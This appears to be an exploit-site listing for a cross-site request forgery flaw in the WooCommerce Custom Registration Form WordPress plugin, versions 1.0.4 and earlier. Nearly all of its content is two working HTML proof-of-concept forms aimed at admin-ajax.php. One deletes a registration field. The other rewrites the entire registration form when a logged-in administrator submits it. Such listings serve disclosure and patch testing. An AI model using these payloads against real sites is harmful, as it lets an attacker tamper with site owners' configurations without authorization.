Exploit for WooCommerce Custom Registration Form <= 1.0.4 - Arbitrary Field Deletion and Form Modification via CSRF

Name: Exploit for WooCommerce Custom Registration Form <= 1.0.4 - Arbitrary Field Deletion and Form Modification via CSRF
Rating: 5 (84 reviews)

2021-06-30 | CVSS 1.3

## https://sploitus.com/exploit?id=WPEX-ID:41599B8C-3441-456A-B77C-866A129F3CF1
To delete a field from the Registration Form:

<html>
  <body>
    <form action="https://example.com/wp-admin/admin-ajax.php" method="POST">
      <input type="hidden" name="action" value="del_field" />
      <input type="hidden" name="field_id" value="1" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>

To change the whole Registration Form:

<html>
  <body>
    <form action="https://example.com/wp-admin/admin-ajax.php" method="POST">
      <input type="hidden" name="fieldlabel[]" value="" />
      <input type="hidden" name="fieldrequired[]" value="0" />
      <input type="hidden" name="fieldhidden[]" value="0" />
      <input type="hidden" name="fieldplaceholder[]" value="" />
      <input type="hidden" name="fieldwidth[]" value="full" />
      <input type="hidden" name="fieldids[]" value="1" />
      <input type="hidden" name="fieldtype" value="text" />
      <input type="hidden" name="type" value="registration" />
      <input type="hidden" name="label" value="Text" />
      <input type="hidden" name="name" value="registration_text" />
      <input type="hidden" name="mode" value="registration_additional" />
      <input type="hidden" name="fieldlabel[]" value="" />
      <input type="hidden" name="fieldrequired[]" value="0" />
      <input type="hidden" name="fieldhide[]" value="0" />
      <input type="hidden" name="fieldplaceholder[]" value="" />
      <input type="hidden" name="fieldwidth[]" value="full" />
      <input type="hidden" name="fieldids[]" value="2" />
      <input type="hidden" name="fieldtype" value="checkbox" />
      <input type="hidden" name="type" value="registration" />
      <input type="hidden" name="label" value="Checkbox" />
      <input type="hidden" name="name" value="registration_checkbox" />
      <input type="hidden" name="mode" value="registration_additional" />
      <input type="hidden" name="fieldlabel[]" value="" />
      <input type="hidden" name="fieldrequired[]" value="0" />
      <input type="hidden" name="fieldhide[]" value="0" />
      <input type="hidden" name="fieldwidth[]" value="full" />
      <input type="hidden" name="fieldplaceholder[]" value="noplaceholder" />
      <input type="hidden" name="fieldids[]" value="3" />
      <input type="hidden" name="action" value="save_all_data" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>